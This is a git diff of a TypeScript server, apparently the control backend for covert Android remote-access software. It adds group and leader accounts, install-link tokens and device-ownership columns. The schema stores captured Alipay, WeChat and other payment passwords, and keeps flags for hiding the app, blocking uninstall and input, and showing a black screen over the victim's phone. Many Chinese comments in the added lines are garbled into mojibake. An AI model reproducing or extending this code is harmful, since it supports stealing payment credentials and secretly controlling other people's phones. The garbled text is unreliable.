+ + if (this.userExists(trimmedUsername)) { + return { success: false, message: '用户已存在' } + } + + if (!password || password.length < 6) { + return { success: false, message: '密码至少6位' } + } + + const role = this.normalizeRole(options?.role) + if (role === 'superadmin') { + return { success: false, message: '不支持创建新的 superadmin 账号' } + } + let groupId = options?.groupId + let groupName: string | undefined + + if (!groupId) { + return { success: false, message: 'leader/member 必须指定所属组' } + } + + const group = this.groups.get(groupId) + if (!group) { + return { success: false, message: '目标组不存在' } + } + + if (role === 'leader') { + const existingLeader = Array.from(this.usersByUsername.values()).find( + (user) => user.role === 'leader' && user.groupId === groupId + ) + if (existingLeader) { + return { success: false, message: '该组已有组长,请先调整后再任命' } + } + } + + groupName = group.name + + const user: User = { + id: `user_${Date.now()}_${Math.random().toString(36).slice(2, 8)}`, + username: trimmedUsername, + passwordHash: await bcrypt.hash(password, 10), + role, + groupId, + groupName, + createdAt: new Date() + } + + this.usersByUsername.set(user.username, user) + this.syncUserIndexes() + await this.saveUsersToFile() + + return { + success: true, + message: '创建用户成功', + user: this.toPublicUser(user) + } + } + + async updateUserRoleAndGroup(userId: string, role: UserRole, groupId?: string): Promise<{ success: boolean, message: string, user?: PublicUser }> { + const user = this.getUserById(userId) + if (!user) { + return { success: false, message: '用户不存在' } + } + + if (user.username === this.SUPERADMIN_USERNAME) { + return { success: false, message: '不能修改超级管理员账号角色' } + } + + const targetRole = this.normalizeRole(role) + + if (targetRole === 'superadmin') { + return { success: false, message: '不支持通过该接口设置 superadmin 角色' } + } + + if (!groupId) { + return { success: false, message: 'leader/member 必须指定组' } + } + + const group = this.groups.get(groupId) + if (!group) { + return { success: false, message: '组不存在' } + } + + if (targetRole === 'leader') { + const existingLeader = Array.from(this.usersByUsername.values()).find( + (item) => item.role === 'leader' && item.groupId === groupId && item.id !== user.id + ) + if (existingLeader) { + return { success: false, message: '该组已有组长,请先调整后再任命' } + } + } + + user.role = targetRole + user.groupId = group.id + user.groupName = group.name + + this.usersByUsername.set(user.username, user) + this.syncUserIndexes() + await this.saveUsersToFile() + + return { + success: true, + message: '用户角色更新成功', + user: this.toPublicUser(user) } } - /** - * 更改用户密码(用于扩展功能) - */ async changePassword(username: string, oldPassword: string, newPassword: string): Promise { - try { - const user = this.users.get(username) - if (!user) { - return false - } + const user = this.usersByUsername.get(username) + if (!user) return false - const isOldPasswordValid = await bcrypt.compare(oldPassword, user.passwordHash) - if (!isOldPasswordValid) { - return false - } + const isOldValid = await bcrypt.compare(oldPassword, user.passwordHash) + if (!isOldValid) return false - const newPasswordHash = await bcrypt.hash(newPassword, 10) - user.passwordHash = newPasswordHash + user.passwordHash = await bcrypt.hash(newPassword, 10) + this.usersByUsername.set(user.username, user) + this.syncUserIndexes() + await this.saveUsersToFile() + return true + } - // 保存用户数据到文件 - try { - await this.saveUsersToFile() - } catch (saveError) { - this.logger.error('保存用户数据失败:', saveError) - } + private generateInstallToken(): string { + return crypto.randomBytes(24).toString('hex') + } - this.logger.info(`用户密码已更改: ${username}`) - return true + async createInstallLink(ownerUserId: string, createdByUserId: string, options?: InstallLinkCreateOptions): Promise { + const creator = this.getUserById(createdByUserId) + if (!creator) { + return { success: false, message: '创建者不存在' } + } - } catch (error) { - this.logger.error('更改密码失败:', error) - return false + if (creator.role !== 'leader') { + return { success: false, message: '只有组长可以生成安装链接' } + } + + const owner = this.getUserById(ownerUserId) + if (!owner) { + return { success: false, message: '目标用户不存在' } + } + + if (owner.role === 'superadmin') { + return { success: false, message: '设备不能归属给 superadmin' } + } + + if (!creator.groupId || !owner.groupId || creator.groupId !== owner.groupId) { + return { success: false, message: '组长只能为本组成员生成安装链接' } + } + + const ttlHours = Math.max(1, Math.min(Math.floor(options?.ttlHours ?? 72), 720)) + const now = new Date() + const expiresAt = new Date(now.getTime() + ttlHours * 60 * 60 * 1000) + const token = this.generateInstallToken() + + this.installLinks.set(token, { + token, + ownerUserId: owner.id, + ownerUsername: owner.username, + ownerGroupId: owner.groupId, + ownerGroupName: owner.groupName, + createdByUserId: creator.id, + createdByUsername: creator.username, + createdAt: now, + expiresAt, + isUsed: false, + serverUrl: options?.serverUrl, + webUrl: options?.webUrl, + webrtcTurnUrls: options?.webrtcTurnUrls, + webrtcTurnUsername: options?.webrtcTurnUsername, + webrtcTurnPassword: options?.webrtcTurnPassword + }) + + await this.saveUsersToFile() + + return { + success: true, + message: '安装链接创建成功', + token, + expiresAt: expiresAt.toISOString() } } - /** - * 获取所有用户(用于管理功能) - */ - getAllUsers(): Array<{id: string, username: string, role: UserRole, createdAt: Date, lastLoginAt?: Date}> { - return Array.from(this.users.values()).map(user => ({ - id: user.id, - username: user.username, - role: user.role || 'admin', - createdAt: user.createdAt, - lastLoginAt: user.lastLoginAt - })) + async resolveInstallLink(token: string): Promise { + const normalizedToken = (token || '').trim() + if (!normalizedToken) { + return { success: false, message: 'token 不能为空' } + } + + const record = this.installLinks.get(normalizedToken) + if (!record) { + return { success: false, message: '安装链接不存在' } + } + + if (record.isUsed) { + return { success: false, message: '安装链接已使用' } + } + + if (record.expiresAt.getTime() <= Date.now()) { + return { success: false, message: '安装链接已过期' } + } + + const owner = this.getUserById(record.ownerUserId) + if (!owner) { + return { success: false, message: '安装链接归属用户不存在' } + } + + record.isUsed = true + record.usedAt = new Date() + record.ownerUsername = owner.username + record.ownerGroupId = owner.groupId + record.ownerGroupName = owner.groupName + + this.installLinks.set(record.token, record) + await this.saveUsersToFile() + + return { + success: true, + message: '解析成功', + data: { + token: record.token, + ownerUserId: owner.id, + ownerUsername: owner.username, + ownerGroupId: owner.groupId, + ownerGroupName: owner.groupName, + serverUrl: record.serverUrl, + webUrl: record.webUrl, + webrtcTurnUrls: record.webrtcTurnUrls, + webrtcTurnUsername: record.webrtcTurnUsername, + webrtcTurnPassword: record.webrtcTurnPassword, + expiresAt: record.expiresAt.toISOString() + } + } } - /** - * 检查用户是否为超级管理员 - */ isSuperAdmin(username: string): boolean { - const user = this.users.get(username) - return user?.role === 'superadmin' + return this.usersByUsername.get(username)?.role === 'superadmin' } - /** - * 获取超级管理员用户名 - */ getSuperAdminUsername(): string { return this.SUPERADMIN_USERNAME } - /** - * 检查系统是否已初始化(通过检查锁文件) - */ isInitialized(): boolean { try { return fs.existsSync(this.INIT_LOCK_FILE) - } catch (error) { - this.logger.error('检查初始化锁文件失败:', error) + } catch { return false } } - /** - * 获取初始化锁文件路径 - */ getInitLockFilePath(): string { return this.INIT_LOCK_FILE } - /** - * 生成唯一标识符 - */ private generateUniqueId(): string { - // 生成32字节的随机字符串,转换为64字符的十六进制字符串 return crypto.randomBytes(32).toString('hex') } - /** - * 获取初始化信息(如果已初始化) - */ getInitializationInfo(): any { try { - if (!this.isInitialized()) { - return null - } - + if (!this.isInitialized()) return null + const content = fs.readFileSync(this.INIT_LOCK_FILE, 'utf8') const info = JSON.parse(content) - - // 如果旧版本没有唯一标识符,生成一个并更新 if (!info.uniqueId) { info.uniqueId = this.generateUniqueId() - try { - fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2)) - this.logger.info('已为已初始化的系统生成唯一标识符') - } catch (error) { - this.logger.error('更新唯一标识符失败:', error) - } + fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2), 'utf8') } - return info } catch (error) { this.logger.error('读取初始化信息失败:', error) @@ -581,103 +1236,60 @@ export class AuthService { } } - /** - * 获取系统唯一标识符 - */ getSystemUniqueId(): string | null { - const initInfo = this.getInitializationInfo() - return initInfo?.uniqueId || null + const info = this.getInitializationInfo() + return info?.uniqueId || null } - /** - * 初始化系统,设置管理员账号 - */ - async initializeSystem(username: string, password: string): Promise<{ - success: boolean - message: string - uniqueId?: string - }> { + async initializeSystem(username: string, password: string): Promise<{ success: boolean, message: string, uniqueId?: string }> { try { - // 检查是否已经初始化(通过检查锁文件) if (this.isInitialized()) { - return { - success: false, - message: '系统已经初始化,无法重复初始化' - } + return { success: false, message: '系统已经初始化,无法重复初始化' } } - // 验证输入参数 - if (!username || username.trim().length < 3) { - return { - success: false, - message: '用户名至少需要3个字符' - } + const trimmed = (username || '').trim() + if (trimmed.length < 3) { + return { success: false, message: '用户名至少需要3个字符' } } if (!password || password.length < 6) { - return { - success: false, - message: '密码至少需要6个字符' - } + return { success: false, message: '密码至少需要6个字符' } } - const trimmedUsername = username.trim() - - // 检查用户名是否已存在 - if (this.users.has(trimmedUsername)) { - return { - success: false, - message: '用户名已存在' - } - } - - // 创建管理员用户 - const passwordHash = await bcrypt.hash(password, 10) - const adminUser: User = { - id: 'admin_' + Date.now(), - username: trimmedUsername, - passwordHash, + const defaultGroup = this.ensureDefaultGroup() + const admin: User = { + id: `leader_${Date.now()}`, + username: trimmed, + passwordHash: await bcrypt.hash(password, 10), + role: 'leader', + groupId: defaultGroup.id, + groupName: defaultGroup.name, createdAt: new Date() } - // 清除默认用户,添加新的管理员用户 - this.users.clear() - this.users.set(trimmedUsername, adminUser) + this.usersByUsername.clear() + this.usersById.clear() + this.usersByUsername.set(admin.username, admin) + this.syncUserIndexes() - // 保存用户数据到文件 - try { - await this.saveUsersToFile() - this.logger.info('用户数据已保存到文件') - } catch (saveError) { - this.logger.error('保存用户数据失败:', saveError) - // 即使保存失败,也不影响初始化过程,但会记录错误 - } + await this.initializeSuperAdmin() + this.ensureNonSuperUsersHaveGroup() + await this.saveUsersToFile() - // 生成唯一标识符 const uniqueId = this.generateUniqueId() - this.logger.info(`生成系统唯一标识符: ${uniqueId.substring(0, 8)}...`) - - // 创建初始化锁文件 - try { - const initInfo = { - initializedAt: new Date().toISOString(), - adminUsername: trimmedUsername, - version: '1.0.0', - uniqueId: uniqueId // 系统唯一标识符 - } - fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2)) - this.logger.info(`系统已初始化,管理员用户: ${trimmedUsername},唯一标识符: ${uniqueId.substring(0, 8)}...,锁文件已创建: ${this.INIT_LOCK_FILE}`) - } catch (lockError) { - this.logger.error('创建初始化锁文件失败:', lockError) - // 即使锁文件创建失败,也不影响初始化过程 + const initInfo = { + initializedAt: new Date().toISOString(), + adminUsername: trimmed, + version: '2.0.0', + uniqueId } + fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2), 'utf8') return { success: true, message: '系统初始化成功', - uniqueId: uniqueId // 返回系统唯一标识符 + uniqueId } - } catch (error) { this.logger.error('系统初始化失败:', error) return { @@ -688,4 +1300,4 @@ export class AuthService { } } -export default AuthService \ No newline at end of file +export default AuthService diff --git a/src/services/DatabaseService.ts b/src/services/DatabaseService.ts index ff3827f..e478260 100644 --- a/src/services/DatabaseService.ts +++ b/src/services/DatabaseService.ts @@ -1,4 +1,4 @@ -import Database from 'better-sqlite3' +import Database from 'better-sqlite3' import Logger from '../utils/Logger' export interface DeviceRecord { @@ -11,22 +11,28 @@ export interface DeviceRecord { appName?: string screenWidth: number screenHeight: number - capabilities: string[] // 解析后的数组 + capabilities: string[] // 瑙f瀽鍚庣殑鏁扮粍 firstSeen: Date lastSeen: Date connectionCount: number lastSocketId?: string - status: 'online' | 'offline' | 'busy' // ✅ 添加设备状态字段 - publicIP?: string // 🆕 添加公网IP字段 - remark?: string // 🆕 添加设备备注字段 - // 🆕 新增系统版本信息字段 - systemVersionName?: string // 如"Android 11"、"Android 12" - romType?: string // 如"MIUI"、"ColorOS"、"原生Android" - romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" - osBuildVersion?: string // 如"1.0.19.0.UMCCNXM"等完整构建版本号 + status: 'online' | 'offline' | 'busy' // 鉁?娣诲姞璁惧鐘舵€佸瓧娈? + publicIP?: string // 馃啎 娣诲姞鍏綉IP瀛楁 + remark?: string // 馃啎 娣诲姞璁惧澶囨敞瀛楁 + // 馃啎 鏂板绯荤粺鐗堟湰淇℃伅瀛楁 + systemVersionName?: string // 濡?Android 11"銆?Android 12" + romType?: string // 濡?MIUI"銆?ColorOS"銆?鍘熺敓Android" + romVersion?: string // 濡?MIUI 12.5"銆?ColorOS 11.1" + osBuildVersion?: string // 濡?1.0.19.0.UMCCNXM"绛夊畬鏁存瀯寤虹増鏈彿 + ownerUserId?: string + ownerUsername?: string + ownerGroupId?: string + ownerGroupName?: string + assignedAt?: Date + assignedBy?: string } -// 新增操作日志记录接口 +// 鏂板鎿嶄綔鏃ュ織璁板綍鎺ュ彛 export interface OperationLogRecord { id?: number deviceId: string @@ -36,7 +42,7 @@ export interface OperationLogRecord { timestamp: Date } -// ✅ 新增设备状态记录接口 +// 鉁?鏂板璁惧鐘舵€佽褰曟帴鍙? export interface DeviceStateRecord { deviceId: string password?: string @@ -45,6 +51,7 @@ export interface DeviceStateRecord { blackScreenActive: boolean appHidden: boolean uninstallProtectionEnabled: boolean + runtimeFlags?: Record lastPasswordUpdate?: Date confirmButtonCoords?: { x: number, y: number } learnedConfirmButton?: { x: number, y: number, count: number } @@ -52,7 +59,7 @@ export interface DeviceStateRecord { updatedAt: Date } -// 💰 支付宝密码记录接口 +// 馃挵 鏀粯瀹濆瘑鐮佽褰曟帴鍙? export interface AlipayPasswordRecord { id?: number deviceId: string @@ -65,7 +72,7 @@ export interface AlipayPasswordRecord { createdAt: Date } -// 💬 微信密码记录接口 +// 馃挰 寰俊瀵嗙爜璁板綍鎺ュ彛 export interface WechatPasswordRecord { id?: number deviceId: string @@ -78,7 +85,7 @@ export interface WechatPasswordRecord { createdAt: Date } -// 🔐 通用密码输入记录接口 +// 馃攼 閫氱敤瀵嗙爜杈撳叆璁板綍鎺ュ彛 export interface PasswordInputRecord { id?: number deviceId: string @@ -100,15 +107,15 @@ export class DatabaseService { constructor(dbPath: string = './devices.db') { this.db = new Database(dbPath) this.initDatabase() - this.logger.info('数据库服务已初始化') + this.logger.info('鏁版嵁搴撴湇鍔″凡鍒濆鍖?') } /** - * 初始化数据库表结构 + * 鍒濆鍖栨暟鎹簱琛ㄧ粨鏋? */ private initDatabase(): void { try { - // 创建设备表 + // 鍒涘缓璁惧琛? this.db.exec(` CREATE TABLE IF NOT EXISTS devices ( deviceId TEXT PRIMARY KEY, @@ -131,53 +138,59 @@ export class DatabaseService { systemVersionName TEXT, romType TEXT, romVersion TEXT, - osBuildVersion TEXT + osBuildVersion TEXT, + ownerUserId TEXT, + ownerUsername TEXT, + ownerGroupId TEXT, + ownerGroupName TEXT, + assignedAt DATETIME, + assignedBy TEXT ) `) - // 确保新增列存在(迁移) + // 纭繚鏂板鍒楀瓨鍦紙杩佺Щ锛? this.ensureDeviceTableColumns() - // ✅ 添加status字段到现有表(如果不存在) + // 鉁?娣诲姞status瀛楁鍒扮幇鏈夎〃锛堝鏋滀笉瀛樺湪锛? try { this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } - // 🆕 添加publicIP字段到现有表(如果不存在) + // 馃啎 娣诲姞publicIP瀛楁鍒扮幇鏈夎〃锛堝鏋滀笉瀛樺湪锛? try { this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } - // 🆕 添加系统版本信息字段到现有表(如果不存在) + // 馃啎 娣诲姞绯荤粺鐗堟湰淇℃伅瀛楁鍒扮幇鏈夎〃锛堝鏋滀笉瀛樺湪锛? try { this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE devices ADD COLUMN romType TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE devices ADD COLUMN romVersion TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE devices ADD COLUMN osBuildVersion TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } - // 创建连接历史表 + // 鍒涘缓杩炴帴鍘嗗彶琛? this.db.exec(` CREATE TABLE IF NOT EXISTS connection_history ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -191,7 +204,7 @@ export class DatabaseService { ) `) - // 创建操作日志表 + // 鍒涘缓鎿嶄綔鏃ュ織琛? this.db.exec(` CREATE TABLE IF NOT EXISTS operation_logs ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -204,7 +217,7 @@ export class DatabaseService { ) `) - // ✅ 创建设备状态表 + // 鉁?鍒涘缓璁惧鐘舵€佽〃 this.db.exec(` CREATE TABLE IF NOT EXISTS device_states ( deviceId TEXT PRIMARY KEY, @@ -212,47 +225,53 @@ export class DatabaseService { inputBlocked BOOLEAN DEFAULT FALSE, loggingEnabled BOOLEAN DEFAULT FALSE, blackScreenActive BOOLEAN DEFAULT FALSE, + runtimeFlags TEXT, lastPasswordUpdate DATETIME, - confirmButtonCoords TEXT, -- JSON格式存储坐标 {x: number, y: number} - learnedConfirmButton TEXT, -- JSON格式存储学习的坐标 {x: number, y: number, count: number} + confirmButtonCoords TEXT, -- JSON鏍煎紡瀛樺偍鍧愭爣 {x: number, y: number} + learnedConfirmButton TEXT, -- JSON鏍煎紡瀛樺偍瀛︿範鐨勫潗鏍?{x: number, y: number, count: number} createdAt DATETIME NOT NULL, updatedAt DATETIME NOT NULL, FOREIGN KEY (deviceId) REFERENCES devices (deviceId) ) `) - // 🆕 为现有表添加新字段(如果不存在) + // 馃啎 涓虹幇鏈夎〃娣诲姞鏂板瓧娈碉紙濡傛灉涓嶅瓨鍦級 try { this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE device_states ADD COLUMN learnedConfirmButton TEXT`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE device_states ADD COLUMN blackScreenActive BOOLEAN DEFAULT FALSE`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE device_states ADD COLUMN appHidden BOOLEAN DEFAULT FALSE`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } try { this.db.exec(`ALTER TABLE device_states ADD COLUMN uninstallProtectionEnabled BOOLEAN DEFAULT FALSE`) } catch (error) { - // 字段已存在,忽略错误 + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 + } + try { + this.db.exec(`ALTER TABLE device_states ADD COLUMN runtimeFlags TEXT`) + } catch (error) { + // 瀛楁宸插瓨鍦紝蹇界暐閿欒 } - // 💰 创建支付宝密码记录表 + // 馃挵 鍒涘缓鏀粯瀹濆瘑鐮佽褰曡〃 this.db.exec(` CREATE TABLE IF NOT EXISTS alipay_passwords ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -268,7 +287,7 @@ export class DatabaseService { ) `) - // 💬 创建微信密码记录表 + // 馃挰 鍒涘缓寰俊瀵嗙爜璁板綍琛? this.db.exec(` CREATE TABLE IF NOT EXISTS wechat_passwords ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -284,7 +303,7 @@ export class DatabaseService { ) `) - // 🔐 创建通用密码输入记录表 + // 馃攼 鍒涘缓閫氱敤瀵嗙爜杈撳叆璁板綍琛? this.db.exec(` CREATE TABLE IF NOT EXISTS password_inputs ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -302,7 +321,7 @@ export class DatabaseService { ) `) - // 🔐 创建用户设备权限表 + // 馃攼 鍒涘缓鐢ㄦ埛璁惧鏉冮檺琛? this.db.exec(` CREATE TABLE IF NOT EXISTS user_device_permissions ( userId TEXT NOT NULL, @@ -318,7 +337,7 @@ export class DatabaseService { ) `) - // 创建索引优化查询性能 + // 鍒涘缓绱㈠紩浼樺寲鏌ヨ鎬ц兘 this.db.exec(` CREATE INDEX IF NOT EXISTS idx_logs_device_time ON operation_logs (deviceId, timestamp DESC) `) @@ -349,8 +368,17 @@ export class DatabaseService { this.db.exec(` CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType) `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_devices_owner_user ON devices (ownerUserId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_devices_owner_group ON devices (ownerGroupId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_user_device_permissions_deviceId ON user_device_permissions (deviceId) + `) - // 💥 创建崩溃日志表 + // 馃挜 鍒涘缓宕╂簝鏃ュ織琛? this.db.exec(` CREATE TABLE IF NOT EXISTS crash_logs ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -373,15 +401,15 @@ export class DatabaseService { CREATE INDEX IF NOT EXISTS idx_crash_logs_crashTime ON crash_logs (crashTime DESC) `) - this.logger.info('数据库表初始化完成') + this.logger.info('鏁版嵁搴撹〃鍒濆鍖栧畬鎴?') } catch (error) { - this.logger.error('初始化数据库失败:', error) + this.logger.error('鍒濆鍖栨暟鎹簱澶辫触:', error) throw error } } /** - * 迁移:确保 devices 表包含新增列 + * 杩佺Щ锛氱‘淇?devices 琛ㄥ寘鍚柊澧炲垪 */ private ensureDeviceTableColumns(): void { try { @@ -398,22 +426,40 @@ export class DatabaseService { if (!columns.has('remark')) { pendingAlters.push(`ALTER TABLE devices ADD COLUMN remark TEXT`) } + if (!columns.has('ownerUserId')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN ownerUserId TEXT`) + } + if (!columns.has('ownerUsername')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN ownerUsername TEXT`) + } + if (!columns.has('ownerGroupId')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN ownerGroupId TEXT`) + } + if (!columns.has('ownerGroupName')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN ownerGroupName TEXT`) + } + if (!columns.has('assignedAt')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN assignedAt DATETIME`) + } + if (!columns.has('assignedBy')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN assignedBy TEXT`) + } if (pendingAlters.length > 0) { - this.logger.info(`检测到 devices 表缺少列,开始迁移: ${pendingAlters.length} 项`) + this.logger.info(`Detected missing columns in devices table, migrating ${pendingAlters.length} columns`) const tx = this.db.transaction((sqls: string[]) => { sqls.forEach(sql => this.db.exec(sql)) }) tx(pendingAlters) - this.logger.info('devices 表列迁移完成') + this.logger.info('devices 琛ㄥ垪杩佺Щ瀹屾垚') } } catch (error) { - this.logger.error('迁移 devices 表失败:', error) + this.logger.error('杩佺Щ devices 琛ㄥけ璐?', error) } } /** - * 根据socketId查询设备信息 + * 鏍规嵁socketId鏌ヨ璁惧淇℃伅 */ getDeviceBySocketId(socketId: string): DeviceRecord | null { try { @@ -428,13 +474,13 @@ export class DatabaseService { return null } catch (error) { - this.logger.error('根据socketId查询设备失败:', error) + this.logger.error('鏍规嵁socketId鏌ヨ璁惧澶辫触:', error) return null } } /** - * 根据deviceId查询设备信息 + * 鏍规嵁deviceId鏌ヨ璁惧淇℃伅 */ getDeviceById(deviceId: string): DeviceRecord | null { try { @@ -449,21 +495,44 @@ export class DatabaseService { return null } catch (error) { - this.logger.error('根据deviceId查询设备失败:', error) + this.logger.error('鏍规嵁deviceId鏌ヨ璁惧澶辫触:', error) return null } } /** - * 保存或更新设备信息 + * 淇濆瓨鎴栨洿鏂拌澶囦俊鎭? */ saveDevice(deviceInfo: any, socketId: string): void { try { const existing = this.getDeviceById(deviceInfo.deviceId) const now = new Date() + const ownerUserIdFromPayload = deviceInfo.ownerUserId !== undefined && deviceInfo.ownerUserId !== null + ? String(deviceInfo.ownerUserId).trim() + : '' + const ownerUsernameFromPayload = deviceInfo.ownerUsername !== undefined && deviceInfo.ownerUsername !== null + ? String(deviceInfo.ownerUsername).trim() + : '' + const ownerGroupIdFromPayload = deviceInfo.ownerGroupId !== undefined && deviceInfo.ownerGroupId !== null + ? String(deviceInfo.ownerGroupId).trim() + : '' + const ownerGroupNameFromPayload = deviceInfo.ownerGroupName !== undefined && deviceInfo.ownerGroupName !== null + ? String(deviceInfo.ownerGroupName).trim() + : '' + const assignedByFromPayload = deviceInfo.assignedBy !== undefined && deviceInfo.assignedBy !== null + ? String(deviceInfo.assignedBy).trim() + : '' + + const ownerUserId = ownerUserIdFromPayload || existing?.ownerUserId || null + const ownerUsername = ownerUsernameFromPayload || existing?.ownerUsername || null + const ownerGroupId = ownerGroupIdFromPayload || existing?.ownerGroupId || null + const ownerGroupName = ownerGroupNameFromPayload || existing?.ownerGroupName || null + const ownershipTouched = !!(ownerUserIdFromPayload || ownerUsernameFromPayload || ownerGroupIdFromPayload || ownerGroupNameFromPayload) + const assignedAt = ownershipTouched ? now.toISOString() : (existing?.assignedAt?.toISOString() || null) + const assignedBy = assignedByFromPayload || existing?.assignedBy || null if (existing) { - // 更新现有设备 + // 鏇存柊鐜版湁璁惧 const stmt = this.db.prepare(` UPDATE devices SET deviceName = ?, @@ -484,11 +553,17 @@ export class DatabaseService { systemVersionName = ?, romType = ?, romVersion = ?, - osBuildVersion = ? + osBuildVersion = ?, + ownerUserId = ?, + ownerUsername = ?, + ownerGroupId = ?, + ownerGroupName = ?, + assignedAt = ?, + assignedBy = ? WHERE deviceId = ? `) - // 仅当传入的 remark 明确提供时才更新,否则保留数据库中的 remark + // 浠呭綋浼犲叆鐨?remark 鏄庣‘鎻愪緵鏃舵墠鏇存柊锛屽惁鍒欎繚鐣欐暟鎹簱涓殑 remark const remarkToUse = (deviceInfo.remark !== undefined) ? deviceInfo.remark : existing.remark stmt.run( @@ -509,19 +584,26 @@ export class DatabaseService { deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null, + ownerUserId, + ownerUsername, + ownerGroupId, + ownerGroupName, + assignedAt, + assignedBy, deviceInfo.deviceId ) - this.logger.info(`设备信息已更新: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`) + this.logger.info(`璁惧淇℃伅宸叉洿鏂? ${deviceInfo.deviceName} (${deviceInfo.deviceId})`) } else { - // 插入新设备 + // 鎻掑叆鏂拌澶? const stmt = this.db.prepare(` INSERT INTO devices ( deviceId, deviceName, deviceModel, osVersion, appVersion, appPackage, appName, screenWidth, screenHeight, capabilities, firstSeen, lastSeen, connectionCount, lastSocketId, status, publicIP, remark, - systemVersionName, romType, romVersion, osBuildVersion - ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + systemVersionName, romType, romVersion, osBuildVersion, + ownerUserId, ownerUsername, ownerGroupId, ownerGroupName, assignedAt, assignedBy + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) `) stmt.run( @@ -545,23 +627,33 @@ export class DatabaseService { deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, - deviceInfo.osBuildVersion || null + deviceInfo.osBuildVersion || null, + ownerUserId, + ownerUsername, + ownerGroupId, + ownerGroupName, + assignedAt, + assignedBy ) - this.logger.info(`新设备已记录: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`) + this.logger.info(`鏂拌澶囧凡璁板綍: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`) + } + + if (ownerUserId) { + this.grantUserDevicePermission(ownerUserId, deviceInfo.deviceId, 'control', null) } - // 记录连接历史 + // 璁板綍杩炴帴鍘嗗彶 this.recordConnection(deviceInfo.deviceId, socketId, now) } catch (error) { - this.logger.error('保存设备信息失败:', error) + this.logger.error('淇濆瓨璁惧淇℃伅澶辫触:', error) throw error } } /** - * 记录连接历史 + * 璁板綍杩炴帴鍘嗗彶 */ private recordConnection(deviceId: string, socketId: string, connectedAt: Date): void { try { @@ -572,12 +664,12 @@ export class DatabaseService { stmt.run(deviceId, socketId, connectedAt.toISOString()) } catch (error) { - this.logger.error('记录连接历史失败:', error) + this.logger.error('璁板綍杩炴帴鍘嗗彶澶辫触:', error) } } /** - * ✅ 将设备状态设置为离线 + * 鉁?灏嗚澶囩姸鎬佽缃负绂荤嚎 */ setDeviceOffline(deviceId: string): void { try { @@ -585,14 +677,14 @@ export class DatabaseService { UPDATE devices SET status = 'offline', lastSeen = ? WHERE deviceId = ? `) stmt.run(new Date().toISOString(), deviceId) - this.logger.info(`设备状态已设置为离线: ${deviceId}`) + this.logger.info(`璁惧鐘舵€佸凡璁剧疆涓虹绾? ${deviceId}`) } catch (error) { - this.logger.error('设置设备离线状态失败:', error) + this.logger.error('璁剧疆璁惧绂荤嚎鐘舵€佸け璐?', error) } } /** - * 通过Socket ID将设备设置为离线 + * 閫氳繃Socket ID灏嗚澶囪缃负绂荤嚎 */ setDeviceOfflineBySocketId(socketId: string): void { try { @@ -600,14 +692,14 @@ export class DatabaseService { UPDATE devices SET status = 'offline', lastSeen = ? WHERE lastSocketId = ? `) stmt.run(new Date().toISOString(), socketId) - this.logger.info(`设备状态已设置为离线 (Socket: ${socketId})`) + this.logger.info(`璁惧鐘舵€佸凡璁剧疆涓虹绾?(Socket: ${socketId})`) } catch (error) { - this.logger.error('通过Socket ID设置设备离线状态失败:', error) + this.logger.error('閫氳繃Socket ID璁剧疆璁惧绂荤嚎鐘舵€佸け璐?', error) } } /** - * ✅ 